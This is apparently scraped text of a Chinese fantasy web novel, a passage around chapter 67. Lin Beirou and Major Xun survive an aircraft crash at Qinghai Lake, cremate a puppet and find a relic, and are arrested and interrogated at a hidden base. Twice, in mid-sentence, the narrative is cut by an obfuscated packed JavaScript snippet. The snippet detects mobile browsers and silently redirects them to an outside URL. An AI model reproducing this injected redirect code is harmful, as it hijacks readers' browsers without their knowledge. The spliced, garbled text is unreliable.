远处,飞行器下沉了一半,但舱门外有一个学员踉跄走了出来,身上黑色污染物在缓慢消退,他扶着舱壁观察了一会儿外面情况,又走了进去,开始搜寻其他醒来的人,协助他们逃生。 林北柔:“荀少校,现在怎么办?” 荀少校扶着林北柔,让她踩水,青海湖毕竟不是死海,含盐度不够,人不能什么都不做就漂在水上,同时魏瑕人偶还被他背在背上。 荀少校:“我们先上岸,找个地方清理,那些人自己联系救援,淹不死的。” 林北柔看了荀少校一眼,看清了他的眼神。 哪怕他满头满脸都是血,刚刚拼了性命,救了飞行器上的人,保住了特殊物品,看向那些飞行器上的人眼神也很冷漠。 有个身体素质强一些的年长学员出来了,四处张望,看向了他们的方向,荀少校抓住林北柔的胳膊,说“闭气”,然后轻轻把她往水下拉,林北柔脑袋沉进水中,避开了那个学员的注视。 哗啦哗啦。 林北柔在水下看见前方一道婉若游龙的阴影,不对,那就是龙吧…… 还没等她震惊回神,那道长长的阴影忽然不见了,紧接着一团东西糊到了她脸上。 林北柔:“……” 她手忙脚乱接住脸上的毛团子,把它拿开,灰兔的三瓣嘴居然还是上弯的,一只兔子居然还能微笑,小鼻子翕动不停,就这样看着她,兔爪兔脚乱动,好像想扑腾到林北柔身上。 可以在水下呼吸的兔子,这也太科幻了,算了……她就当什么都不知道吧。 林北柔费劲地把兔子揣进了领口里面,让它待在自己衣服里,灰兔两只小脚趴在林北柔衣领处,把她衣服顶得鼓起一包,旁边荀少校看了灰兔一眼,没说什么,等了几秒,确定无人发现,他拉着林北柔往反方向游去,安静浮上水面。 因为有荀少校带着,游上岸只花了不到五分钟,林北柔意识到了一个问题。 飞行器上死人了,机长和副机长都牺牲了,军士也有死伤,其他学员还都被污染了。 现在,特殊物品在她手上,袭击者不见踪影。 怎么看她都可疑到了极点。 怪不得刚才荀少校不想让对方发现他们。 从这点看,起码荀少校可以排除嫌疑了,他和她是站在一边的。 天气半阴半晴,他们在阴影面的那一边上岸,离开了水,魏瑕人偶看上去破破烂烂的,完好的那边脸依然让人目眩神惊,林北柔不敢长时间看他,也不想松开他,一直牢牢搀扶着人偶,试图把他拉到自己身上背着,这并不容易,人偶的身体比例和司空晏一致,比她高很多,她拖起来很费劲。 “我来。”荀少校直接将人偶背了起来,连颠一下借力都没有,好像只是背一个包,林北柔注意到他身高和魏瑕本人是一致的,身材似乎比魏瑕要健壮一些。 他们上岸的位置,有草和植物,远处似乎有建筑,更远处是褐色的山坡,还有壮阔辽远的苍穹。 荀少校在前面走,林北柔抱着黄金立方体跟在后面,她望着荀少校背着魏瑕人偶的背影,总觉得这一幕怪怪的。 林北柔:“少校,我们去哪里?” 荀少校背着魏瑕人偶:“组织会在地下灵脉对应的地上风水附近,修建补给站,青海湖旁边就有一个。” 走了一会,荀少校来到一片空地,刀在空气上划了下,前面凭空出现一座不起眼的平房,带一个有矮围墙的小院子。 荀少校推开大门,让林北柔先进去,里面东西都是军队制式的,还有一些修行者设备,林北柔把黄金立方体放在了桌子上,检查了一番,立方体因为爆炸,表面凸出了一些方块,隐约漏出里层的光,里面不知道是什么。 然后,林北柔把衣服里舒舒服服窝着的灰兔也拿了出来,把它放到地上,推了推它的小屁股,让它自己一边玩去,灰兔被推得挪了两步,疯狂甩水,又蹦跶回来,紧紧绕着林北柔的后脚跟,林北柔走哪它走哪。 地板上全是他们的湿脚印,林北柔头发很长,现在还在滴水,荀少校把外套脱了,露出里面的T恤,也是湿透的,脊背和肌肉线条都看得一清二楚,这样看他手臂肌肉也很修长,体脂率极低那种。 林北柔看着他的背影,越看越觉得,真的有一点像祖宗,不过正面看就完全不像了。 荀少校先随手把刀放到了武器架上,背着魏瑕人偶,把他放到了一张行军床上,林北柔走过来,看到人偶无知无觉地躺在那边,林北柔蹲了下来,轻轻拢住他半闭半睁的那只眼睛,往下一捋,让他合上眼睛,人偶的睫毛在她手心扫过,很柔软,像熊峰的软绒。 林北柔觉得自己永远忘不掉这种感觉。 人偶没有灵魂,说的每句话,做的每个决定,都是司空晏本人的回音罢了。 人偶闭着眼睛,安静得像睡着了一样。 仿佛那就是魏瑕本人。 想到现在真正的魏瑕不知道人在哪里阴暗俯瞰全局,林北柔就生出一丝愤怒,还有些紧张,魏瑕就是阴间祖宗,那他到底恢复全部记忆了没? 不过这种把其他东西当工具的作风,真的就是过去的司空晏。 人偶对他来说,召之即来挥之即去,随时随地都可以制造,用完就抛弃。 林北柔突然想到一些往事,曾经在胜身洲,司空晏要出远门,不放心她一个人在家,就制作了好几个和他一模一样的神伶守着她,林北柔天天只需要躺着休息,吃饭穿衣睡觉娱乐,都有那些神伶服侍,感觉就像七八个司空晏围着她转一样,一开始很惊悚,后来就习惯了。 等到半年后司空晏回来,看到的第一个画面就是林北柔躺在一个神伶大腿上,正在被喂灵玉葡萄,那个阴阴的眼神,林北柔永生难忘,葡萄掉在了地上,滚了很远。 一夜之间,那些神伶就消失了。 林北柔到处找不到人,产生了不详预感,跑遍了太乙宗的山头,最后在一个非常长的深坑里面发现了他们,坑底横七竖八堆满了被废弃的神伶,每张都是司空晏自己的脸,像失去了发条的人偶,脸上也都脏脏的,被胡乱堆放在一起。 林北柔跪在坑边,目不转睛看了很久,认出了那个最常服侍她的人偶,那是她最喜欢的一个神伶,因为他身上有种隐隐约约的人情味,像正常人,不太像阴间祖宗。 林北柔当晚就收拾行李离家出走了。 司空晏送了她太多法宝,加上他好像是从魔域打架回来了,受了伤,回到他老巢,也就是一个有重重封印的地方疗伤去了,放松了对林北柔的警惕,林北柔居然就这样水灵灵地脱逃成功。 当然,最后被阴间祖宗抓回来了,当时祖宗的脸色,还有行为,想起来还是让人害怕。 之后的事不提也罢。 林北柔从回忆中回神。 荀少校:“魏瑕的尸体必须销毁。” 林北柔瞬间抬头:“为什么?” 荀少校看着她:“因为这个魏瑕是假的,他们会发现。” 林北柔这才想起,魏瑕人偶的骨骼暴露在外面了,那种质感不是人骨,但和人骨极为相似,只有林北柔知道,她没想到荀少校居然一眼就能看出来。 林北柔不太自在,避开了荀少校的注视,总感觉和这双眼睛对视,对方能看清她心里的想法。 她以为荀少校会问,为什么魏瑕居然是假的,一般人听到这个事,肯定会极为震撼。 因为这不可能是现世有的技术。 林北柔:“他们真的能发现吗?” 荀少校:“按照调查程序,他们会送去验尸,验尸手续繁琐,包括人工和法器检验,到时候会很麻烦。” 林北柔妥协了:“那把尸体火化了?” 荀少校点头。 林北柔沉默了,正想说点什么,一种奇异的疼痛突然闪击了她全身,感觉好像一万只虫蚁在身上啃一样,林北柔疼得喊出了声,一瞬间还以为自己是自燃了,不顾矜持扑在了地上试图打滚灭火。 “别动!”荀少校迅速过来按住了她。 林北柔恐慌:“好疼啊!怎么回事!” 她躺在地上举起双手,看见手臂上大片开始泛红,就像被挠过一样,林北柔能感觉到,脖子和前胸后背也一样。 荀少校抓住了她手腕,不让林北柔去抓挠自己:“刚才你力量使用过度了,你的天赋是活的,它现在在苏醒,你必须马上把衣服脱了。” “啊?这和衣服有什么关系?” 林北柔有点慌,还是赶紧照荀少校说的做了,掀起上衣时她卡主了,荀少校就像帮小孩子脱衣服一样,利落地把她湿透的上衣一把扯了上去,林北柔里面是一件白色蕾丝内衣,这时候她也顾不得尴尬了,脱掉衣服后,那种痒痛滚烫的感觉,确实减轻了一点。 林北柔:“然、然后呢,裤子也要脱吗?” 荀少校:“外衣,内衣,全部都要脱掉,否则皮肤会起很多疹子,天赋让你的体质变异,你现在不能穿含有人工成分的面料,必须穿百分百天然的一种特制面料,修行者穿的,我去找找。” 他转身去了柜子那边,开始翻找,林北柔见他背对着自己,明显是给她留空间,不再犹豫,从后面解开了内衣,果然后背清凉了一些,林北柔已经看到手腕上开始起疹子了,马上三下五除二脱掉了裤子,然后是内裤,旋即蹲下来抱住膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660622|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盖,把该遮挡的部位遮住。 荀少校从柜子里翻出了一沓叠得很整齐的布料,一抖就展开了,米白色,像是亚麻,很薄,还有点透,不过感觉更柔软丝滑一些,他举起布料,遮住自己视线,走过来,直接放开手,床单一样的布料就缓缓落在了林北柔身上,刚好把她裹住。 林北柔身上的烧灼感顿时缓解,取而代之的是一种清凉。 荀少校又找来了几根带子:“站起来,我帮你固定一下。” 林北柔披着床单站了起来,荀少校先是把床单角反折了两下,绕过她胳膊,做了个简单的肩带,然后用带子帮她把腰身缠紧,这样床单就变成了一件连衣裙,林北柔没想到荀少校还会这手,她现在光着脚,穿着一件白亚麻床单裹起的裙子,头发湿哒哒的。 荀少校身上也都湿透了,他从抽屉里居然找出了一个吹风机,让林北柔先把头发吹干,说:“我换件衣服。” 林北柔马上走开,背对着荀少校吹头发,顺便给灰兔吹毛,其实这只兔子不吹毛也没事,反正不是真兔子,不过手里有事情做,就不会太尴尬,毕竟就一个房间,荀少校肯定也得脱光了,才能换上新衣服,很有可能他连内衣也会换一套新的,因为都湿透了。 荀少校很安静,不过他外面制服很重,还有金属扣子,掉在地上时,林北柔还是能听见。 林北柔加大了吹风机的档位,让吹风机吹得更大声。 不到三分钟,荀少校就换好了衣服。 林北柔看到他换了一身更简便的作战服,也是差不多的黑色,稍微带点迷彩纹路,还戴了手套,靴子也换了新的,之前的头盔和面具也戴上了,全身上下就只露出一双眼睛。 荀少校把刀别到腰间的武器带上:“我先去处理尸体。” 林北柔:“等等,我跟你一起。” 荀少校看了她一眼,默许了,林北柔抱起寸步不离跟着她的灰兔,看着他把魏瑕人偶扛起来,去了屋子后面,那边有一片空地,还有一个很大的焚烧炉。 火化前,林北柔把那件莫衡想要的证物从魏瑕人偶身上拿了出来,想了想,又放回了他身上。 就让这件证物一起被烧掉吧。 林北柔:“荀少校,莫衡他什么情况?” 荀少校:“没死。” 林北柔:“你觉得他是嫌疑人吗?” 荀少校:“不是,他想恢复他以前的天赋等级。” 林北柔:“那内奸是谁?没有内奸,袭击者不可能埋伏到行李舱。” 荀少校:“不知道,内奸是清理不完的,这一场渗透,早在一千多年前就开始了。” 林北柔:“你是说,应劫派渗透了化劫派?” 应劫派希望大融合,消除疆界,利用预言中的末世浩劫,恢复洪水灭世前天地之间丰沛的灵气,那是鸿均道祖存在的时代。 化劫派不同意,他们希望按照现在既定的路程,采用最保守的办法,尽全力阻止浩劫,继续往前走,不管前方是什么样未知的未来。 说不清楚两个派别的计划中,哪个死亡人数谁更多一些。 林北柔只能确定,在应劫派的计划中,大部分普通人是没有活路的。 荀少校:“我要把他放进焚化炉了。” 林北柔:“等等。” 林北柔把灰兔放到地上,并拢食指和中指,在魏瑕人偶的眉心、眼睛、胸口、腹部、掌心,依次画了一些图形,最后双手立起手诀,默念祝祷文,这是胜身洲的惯例,用来安葬陨落的修士,希望他元神归天,融入天地灵脉,化作宇宙万物。 这套仪式很复杂,她做了大概五六分钟。 荀少校一直在旁边看着,安静得像树或者假山,灰兔也很乖,没有乱动,蹲在旁边等着林北柔,好像知道她在做一件很庄重的事。 等林北柔完成后,荀少校就把魏瑕人偶放进了焚化炉,关上了门,林北柔最后看了一眼人偶的脸。 有种错觉,好像司空晏在她眼前又死去了一次。 这座焚化炉是某种法器改造的,出来的是灵火,很快就将里面一切焚烧成灰。 荀少校打开炉门,里面已经什么都没有了,只有一些很轻的灰烬。 林北柔:“等等!那是什么?” 她上前一步盯着里面,伸出手,荀少校一把抓住她的手腕:“很烫,你要做什么?” 林北柔:“里面有东西。” 荀少校在旁边拿了个长的夹子,看了一会儿,从灰烬里夹出一枚闪亮的东西。 林北柔看着这个东西,愣住了:“……舍利子?” 不规则的形状,像珍珠,半透明,流动着灵光。 这是修士舍利,在胜身洲,一些有德行的修士陨落后,就会出现舍利。 但这明明是人偶啊……怎么可能…… 荀少校:“这具傀儡,大概残留了一些不属于他自己的元神残片。” 林北柔蓦地抬起头,愣愣盯着他。 荀少校好像没有情商一样,每句话都过于直白辛辣:“他引爆了自己体内的灵力,抵消了那件物品上的爆炸,立方体内部的东西没有损坏,这是义行,修行者如果做出义行,火化时就有可能产生舍利。” 林北柔说不出话来。 荀少校:“你要吗?”他把夹子上的舍利取了下来。 林北柔伸出手,荀少校把舍利放到她手心。 舍利居然是冰冰凉凉的,像玉一样。 林北柔看着手心,突然,舍利消失了。 林北柔:“???” 她身体产生了奇怪的感觉,好像有一缕灵力突然进入了她身体很深的地方。 荀少校:“它融合进你的元神里了。” 林北柔:“啊?” 荀少校:“你和魏瑕是什么关系?” 林北柔:“……” 荀少校抬起眉眼:“神交过的修行者,舍利才会融入对方元神,他真的是你併头吗?” 林北柔好像有点明白他性格了,直来直去,想到什么就说什么,有什么问题就问,之前在对莫衡的时候,好像还有点毒舌。 和身上有八百个心眼子的阴间祖宗完全不一样。 总觉得这样的性格,有一点隐隐约约的熟悉,好像在哪里见过,就像他这张被面具遮住的脸。 可能是她在胜身洲见过太多修士,那一张张脸都在记忆中浮沉,总有些相似点。 林北柔:“……你觉得是什么就是什么吧。” 灰兔突然跳到了林北柔脚背上踩踩踩,林北柔把它抱了起来。 补给站外面传来什么东西被砸碎的声音,动静非常大,林北柔迟了半拍反应过来,那是结界被砸碎的声音。 一大堆全副武装的军士冲了出来,包围了他们。 这些军士打扮和荀少校之前一样,都戴了面具,黑色作战服,不过肩章不一样。 林北柔张大嘴,震惊看着这不知道哪里跑出来的一群黑压压的特种兵。 荀少校没有任何特殊反应,他戴着面具,唯一露在外面的眼睛眨都没眨一下。 领头军士面具上嘴角位置有一个符文,区别于其他人,他不带感情地说:“荀少校,救援已到,上级对你擅自脱队行动提出了质疑,目前林北柔有重大嫌疑,请配合我们带你们回去进行调查,让大家都方便些。” 他没有荀少校高,但体格更粗壮,压迫感很强,有种军官的气场。 要是真换个二十多岁的年轻人,肯定得被镇住。 不过林北柔在胜身洲待了三百多年。 林北柔:“我们刚才救了那么多人!还保住了那个什么特殊物品!话说你们从哪里出来的,你们谁啊?!” 嘴角符军士:“林女士,我们是北落师门驻青陇部队应急战术分队,我姓新垣,你可以叫我新垣少校,请配合我们的工作,不要让我们为难。” 林北柔顿了三秒,转头问荀少校:“……你们招日本人?” 嘴角符军士冷冷道:“新垣是中国姓氏,史记上记载很多,后来通过琉球传至日本,并非日本本土姓氏,建议您好好补一补文化课。” 林北柔确实在这方面没什么文化。 林北柔:“抱歉,新垣……少校。” 嘴角符军士:“我才不是日本鬼子。” 林北柔:“对不起。” 67. 第 67 章 很快,那个叫新垣鑫的军士就让林北柔笑不出来了。 他让人用一种特制的手铐把林北柔拷了起来,还让人给林北柔戴了一种项圈,对荀少校他也一样。 林北柔能感知到项圈上散发着强大的能量,她微微试着发动了下天赋,瞬间感觉一股电流钻入脖子。 林北柔:“呃……” 她踉跄着差点跪了下去,被荀少校和新垣鑫一左一右拉住,众多覆面军士看着她,有的表情严肃,有的冷漠,还有的带点戏谑,林北柔觉得有点丢人。 林北柔:想骂脏话。 新垣鑫批评林北柔:“不要乱动!这是专门的修为锁,五次电击后你就晕过去了。” 荀少校看着林北柔,林北柔感觉读懂了他的眼神。 他在说,先听他们的,不要做多余的,等到了基地再说。 林北柔:“我们救了人,结果却被当嫌犯。” 新垣少校无动于衷:“我们听命行事,你有意见找到时候跟你谈话的人。” 林北柔虚弱地说:“新垣少校,我能问个问题吗,你们为什么要把脸蒙起来……” 新垣鑫:“北落师门的人不能被敌人知道长相。” 林北柔若有所思,看来北落师门的人也知道,所谓的敌人,就潜伏在组织内部,根本肃清不完。 “荀少校,你现在也是嫌疑人,你们会被一并移送到基地,暂时单独看押,直到审讯结束,上级会安排你们。”新垣鑫公事公办地说。 荀少校点了点头。 林北柔感觉到肩上一团毛茸茸的,是不是还漂浮起来,拱到她脖子背后。 林北柔若无其事,根本没提,荀少校也很有默契地没提。 林北柔刚才就发现了,这只灰兔会隐形。 就在新垣鑫他们战队出现的第一时间,灰兔就隐匿了身形,除了林北柔,没人能感觉到它的存在。 新垣鑫把林北柔他们带上了一辆车,这次他们没有乘坐飞行器,而是通过陆地交通工具,前往基地。 黄金立方体被带上了另外一辆车专门运送。 这次的车来了三辆,前后行驶在荒无人烟的路上,林北柔他们坐的是最后那辆。 林北柔自从上了车,全程都被蒙住了眼睛,只有在让她去上厕所时,会让她暂时解开眼罩。 感觉十分漫长,初步判断,起码过了两天一夜了。 地形在发生变化,从草地逐渐到戈壁滩。 “这里都没有女兵吗!凭什么我上厕所你还要跟着!”林北柔愤愤不平地说,露天厕所外面,新垣鑫亲自背对她守着。 新垣少校:“这是规定,少说话,不然把你嘴也封上。” 林北柔:“有你在我根本嘘嘘不出来,还不如让荀少校守我。” 新垣少校额角蹦出个井字:“不要玩花样,赶紧解决,我们还要赶路。” 林北柔知道,肯定是他们上司让他们专门看好她,说她威胁等级很高之类的,从其他那些军士偶尔一瞥的眼神,就看得出来。 他们乘坐的车是厢型的作战车,很大,后面座位都是贴墙壁设立的,互相可以面对面,林北柔坐在荀少校和新垣鑫之间,前后左右都是覆面军士,一大批黑压压全副武装连脖子都是高领衫的军士中,林北柔就穿一件用带子绑起来的白亚麻连衣裙,露出手臂和小腿,眼睛上还蒙着眼罩,相当格格不入,可以说最醒目的就是她了。 尴尬的是,林北柔没有穿内衣内裤,好在荀少校给她绑的这件床单很大,裹了好几层,不至于哪里凸起。 她看上去像哪个部落跑出来的。 林北柔被摘下眼罩时,偶尔会看到有些军士直直看着她,等她看回去,他们也不会回避眼神,要看她好一会儿,才不急不缓收回视线,明显都是训练有素心理素质极为稳定,林北柔怀疑他们每个人手上都有人命。 晚上气温很低,林北柔没有穿鞋子,一穿鞋子她皮肤就会再度泛红,她特别困,又不能躺下来,不知不觉脑袋一歪,就靠在荀少校肩膀上睡着了,灰兔从她的膝盖上跳到她脚面上趴着,给她取暖,这只奇怪的生物好像随时会飘起来,每次她出去上厕所,它都跟着,寸步不离,脚上很快暖和起来,林北柔睡得越发熟。 新垣鑫转过来,严肃地看了荀少校一眼。 荀少校没搭理他。 中途经过一处灵脉磁场异常的地方,车子导航忽然出了问题,他们停下来调试,其他人在周围警戒,林北柔下了车,无所事事地坐在一把行军折叠凳上,那是旁边暂时看守她的军士帮她放好的,林北柔还挺有礼貌地说了谢谢。 不过当林北柔尝试跟那个军士聊天套话,对方却目不斜视,端着武器直视前方,一言不发,好像把她当空气一样。 林北柔:好吧,也不是没猜到。 她刚抬手扯了扯眼罩,军士就很严肃地警告:“不能摘眼罩。” 林北柔举起手:“我就是调整一下。” 另一边。 新垣鑫走到荀少校旁边:“你和那个林北柔,是什么关系?” 荀少校在对不是林北柔的其他人时,讲话就很不客气了:“跟你有什么关系?” 新垣鑫:“四号,这个称号意味着什么你清楚,魏瑕一开始特意先找到了林北柔,他和那个林北柔关系匪浅,他们说,四号,具有迷惑人心的力量,不能和她对视太久,你该不会被迷惑了?” 荀少校看着他,嘴角有嘲讽之意:“我又不是你。” 新垣鑫左勾拳过来了,被荀少校淡定闪过,两人交手三下,谁也没攻击到谁,也都只出了一成力。 新垣鑫拉长了脸,虽然隔着面具看不出来:“还有,那个魏瑕去了哪里?你说他失踪了,最后一个看到他的人不是你?” 荀少校:“你已经单独先盘问了我五遍,该说的我都说了,还是你记性有问题,不然退役养老吧。” 新垣鑫真想给他一脚。 新垣鑫眯起眼睛盯着荀少校,却从那双眼睛里找不到一丝蛛丝马迹。 荀照乘的说法,找不到一点前后逻辑漏洞,新垣鑫打乱了顺序问,细节依然对得上,也并不机械,符合他对真话和谎话的鉴定。 正因为抓不到可疑之处,新垣鑫才更觉得可疑。 荀照乘也是基地出身,在军队待的时间久,和他一样,都是按军官标准培养的,受过专业训练,很容易通过这些谈话测试。 那座焚化炉里面的灰烬,很新鲜。 但新垣鑫对比过了,里面的灰烬不是人类身躯火化后的残余,荀照乘这家伙,说是后院垃圾太多,看不过去给扔进焚化炉了。 新垣鑫:“你的意思是,魏瑕凭一己之力阻止了爆炸,然后就失踪了?” 荀少校懒得搭理他。 新垣鑫皱起眉,目前只能推测魏瑕生死不明。 新垣鑫:“你和莫衡又发生了什么冲突,据他那边的说法,你越级抗命?” 荀少校嘲道:“他算我上级?” 新垣鑫:“不是一个集团军,但军衔比你高,又立过一等功,在那种紧急情况下,他有指挥权,你得罪了他,他还是世家阶级,这不是好事。” 荀少校继续不搭理,新垣鑫也习惯了他的脾气,说了声“反正他们肯定会审讯你,那你好自为之”。 新垣鑫走过去查看林北柔,总觉得她脱离视野,他就不大放心。 林北柔老老实实坐在行军凳上,旁边的部下也按他命令,没有跟她交流。 这很好。 新垣鑫走近以后,林北柔像是感知到了他的脚步声,抬起被蒙住的眼睛,一本正经:“新垣少校,我饿了。” 新垣少校:“……” 他朝部下挥挥手:“去给她拿点压缩饼干。” 林北柔:“我不要吃压缩饼干,我想吃土豆烧牛腩。” 新垣少校:“美得你!” 那个部下低下头,隔着面具看不出表情。 林北柔:“好想吃牛肉啊……” 新垣少校:“这大戈壁滩的我上哪给你打头牛!改掉你的小布尔乔亚作风,去,给她压缩饼干!” 部下小跑着去车厢那边了。 林北柔唉声叹气:“飞机上没吃东西,累死累活,火里来水里去的,和荀少校一起救了人,要不是荀少校,我都淹死了,结果我们两个挨饿受冻,被当成嫌疑犯……真正的心寒,不是大吵大闹……” 新垣少校站着不动,过了半分钟,让另外一个部下看着林北柔,一言不发掉头走了。 林北柔只是半真半假地无聊逗逗人,肚子饿是真的,不想吃压缩饼干也是真的,不过土豆烧牛腩就是随口说的。 那个部下正在车厢翻找,旁边出现了他的长官,部下忙停下,新垣鑫黑着一张脸:“我来。” 他打开了另外一个应急食品箱。 部下什么都没有说。 新垣鑫瞥了他一眼,也没说什么,这些规格不是给林北柔准备的,虽然没有明文规定。 动摇他的是刚刚林北柔说的一句话。 林北柔:“导航还要修多久啊?” 然后她就听见了新垣鑫回来的脚步声和嗓门:“老荀,你坐她旁边,你们先吃一顿,等到了基地,他们会直接审讯,不会让你们吃东西。” 林北柔破例被解开了眼罩,她面前多了张小桌子,荀少校也坐到了她对面,新垣鑫暂时解开了他们的手铐,没给他们取下项圈。 她看见新垣鑫把东西一样一样摆在小桌子上,有小盒子,小袋子,罐头,酒精块和酒精灯。 新垣鑫全程脸上写着别问,干脆利索地把该剪的剪开,该拆的拆开,加热,顺手把零零碎碎的空包装都收拾到垃圾袋里去了。 林北柔保持安静,眨着眼睛看新垣鑫做这些,天色已晚,导航还没有修好,基地位置隐匿,在结界矩阵中,不是卫星能发现的,这种特殊的导航不修好,他们哪里都去不了。 林北柔发现,新垣鑫看着坚毅,其实做事细致,貌似还有点强迫症,他会手动把桌子上的小餐具摆正。 这一餐虽然比不上新鲜现做的熟食,就野外条件来说,相当不错了,林北柔喝到了速溶咖啡,还有巧克力燕麦能量棒,还有豆子和肉罐头。 荀少校涵养非常好,吃东西没有发出一丁点声音,这对林北柔真是太友好了。 魏瑕送她的防噪音耳机还在飞行器上她的随身行李里面,这几天她很不习惯,好在附近军士们都训练有素,一个个跟幽灵似的,安静到融入自然环境,林北柔被蒙着眼睛都感觉不到他们的存在。 林北柔:“真好吃,谢谢新垣少校。” 新垣鑫嘴上不饶人:“别,你这是沾了荀照乘的光。” 林北柔:“荀少校怎么了?” 新垣鑫瞥了荀照乘一眼,没说话,林北柔左右看看,不知道也就不追究了。 她才刚认识他们不到两天,算不上熟人关系。 ……和荀少校可以算生死之交? 林北柔还记得在水下,她快要窒息时,大脑一黑,即将自动关机,柔软的嘴唇覆上她的,渡过来的是新鲜空气。 这还是第一次除了阴间祖宗外,有人碰到她嘴,不过那种情况下,这也只是必要的体肤接触,谁也不会把这种当成一个吻。 这个救命之恩,林北柔记下了。 林北柔睡得迷迷糊糊,中途被颠簸醒了,发现自己又靠在了荀少校肩膀上,很不好意思地道歉,结果荀少校说没事让她继续睡,审讯时是没时间睡觉的,林北柔被这个消息打击,一直在想审讯的事。 话说真正的魏瑕现在到底躲在哪里? “到了,下车。”新垣少校把林北柔喊醒了。 林北柔歪在荀少校肩膀上,睡得口水都流了出来,特别不好意思地擦荀少校的外套,新垣少校一言难尽地看了她一眼。 这家伙是怎么做到每次睡着时,都往荀照乘那边倒?一次都没有往他这边。 待会马上就要接受审讯,作风还如此松懈。 此人不是心机极度深沉,就是确实没什么嫌疑。 林北柔是四号候选,又被魏瑕带在身边,还跟周阆屿有牵扯,不论是茶余饭后的八卦,还是需要严肃对待的会议话题,她都简直是个风云人物看,组织里几乎所有人都在公共系统上查看过她的资料。 全素颜,异常惊人端正的五官,如果不是辨识度太高,眼神还有点颓废有点丧,那种端正的比例,极度的顺眼,都要怀疑是AI生成。 新垣鑫想起有编号的天命者,都一等一的好相貌,魏瑕更是近妖非人,或许这是天赋注定的。 他们在其他地方,会付出这种先天礼物标好的代价。 新垣鑫再度眼神复杂地看了林北柔一眼。 林北柔被蒙着眼睛,没看见新垣鑫的眼神,她被新垣少校亲自押着往前走了一段距离,从空气和温度判断,林北柔感觉到自己从室外来到了室内,从地面来到了地下。 林北柔能感觉到,她和荀少校被分开了。 中途极其安静,只听见对方单调的命令声“左转”“右转弯”“好了,直走”,一直走了差不多二十分钟,新垣少校才说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678795|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停,到了。” 有人从后面将林北柔的眼罩解下,林北柔不太适应,好在光线不算太强,她环顾四周,发现这是个标准的审讯室。 桌子很宽,是不锈钢的,上面摆放着电脑,纸笔,几瓶矿泉水。 对面坐了两个审讯人员,外表普通,穿着简单的衬衫和西裤,气场极度冷静,都看着林北柔。 领头的一个皮肤挺黑,看着像少民,开口却是比林北柔还标准的普通话:“新垣少校,辛苦你了,接下来就交给我们。” 新垣鑫:“我会在外面守着,上级要求审讯完成后,把林北柔移送到‘天驷寮’。” 黑皮肤:“审讯时间可能有点久。” 新垣鑫:“按你们流程来。” 所有人的交流都简短有力,新垣鑫也没多看林北柔一眼,直接出去了,林北柔意识到,这些人智商都很高,阅历也很深,不是好糊弄的。 林北柔注视着新垣鑫的背影消失在关上的门背后。 黑皮肤:“请坐,林北柔。” 林北柔手还被拷在前面,另外一个矮个子起身帮她拉开了椅子,林北柔有点惊讶,点头说了谢谢。 矮个子:“飞行器黑匣子显示,你确实有救人行为。”他是因为这个才对林北柔客气的,不过态度很平静,顺便还帮林北柔拧开了矿泉水瓶盖。 林北柔咕嘟咕嘟一口气喝了很多水:“我以为你们要审嫌犯……” 黑皮肤笑了:“从救援抵达青海湖,飞行器上第一个人走出来起,每个在上面的人,都是嫌犯,包括死人。” 林北柔不知道怎么回答,看看黑皮肤,又看看矮个子。 黑皮肤收起笑容:“好了,现在请认真专心回忆,从你登上飞行器开始,到你和荀少校一起被新垣少校发现,中间过程不要省略,全部告诉我们。” 林北柔:“让我想想。” 她稍微组织了下语言,就直接开始说了,有些地方记不太清,中途会停下来想,矮个子一直在做记录,用的是电脑,黑皮肤则是在厚厚的手账本上写写画画的,林北柔不知道他在写画什么,看着不太像单纯写字。 除了避开魏瑕其实是个人偶,其他该讲的林北柔都讲了。 黑皮肤:“你说你能看见所有人身上的污染,并记住了普通舱四个身上污染最严重的人的座位?” 林北柔点头。 黑皮肤:“在录音,你得口头表达。” 林北柔:“是的。” 黑皮肤:“看看这四个人,确定是他们吗?” 他打开一本文件夹,抽出几张照片,递到了林北柔面前。 林北柔看了半天:“可能……是?等下,我不确定,我当时只记住了座位编号,晃眼一过,当时荀少校直接押着我去禁闭室了,没来得及看长相,性别都没记住。” 黑皮肤和矮个子对视了一眼。 林北柔:“有问题吗,飞行器上座位编号都是事先安排好的,你们直接去查谁坐那个座位上不就行了。” 黑皮肤没有解答她的疑惑:“说说你当时记忆中,你前后左右是哪些人,头等舱里你记得的人的特征。” 林北柔不明所以然,还是照实说了。 黑皮肤点头:“我明白了。” 接下去他问林北柔的问题,全是关于这些乘客的,他们谁说了话,说了哪些话,有什么互动和交流,有谁有不同寻常的举动,谁站起来过,等等,问得林北柔头晕目眩。 每次在她叙述时,黑皮肤还会冷不丁忽然打断她,问一个完全不相干的问题,林北柔都被搞糊涂了,这样重复来了好几次,林北柔意识到这是某种测试。 黑皮肤情绪相当稳定,十分老手,林北柔觉得这样下去意义不大,终于忍不住了。 林北柔:“等等,这些问题和嫌疑犯有关系吗?你不想知道我在行李舱和那些袭击者怎么交手的?” 黑皮肤:“你看到哪个具体的袭击者了吗?” 林北柔:“在行李舱没有,但是之后在水面下那个爆炸点,我看到了——” 黑皮肤:“你已经说过了,但是,你没有在飞行器上,不论是乘客舱还是行李舱,见到任何一张你能确定是袭击者的脸。” 林北柔一开始迷惑表情,大脑自动运转几秒,突然get到了。 一股寒冷的感觉从脊背蔓延上去。 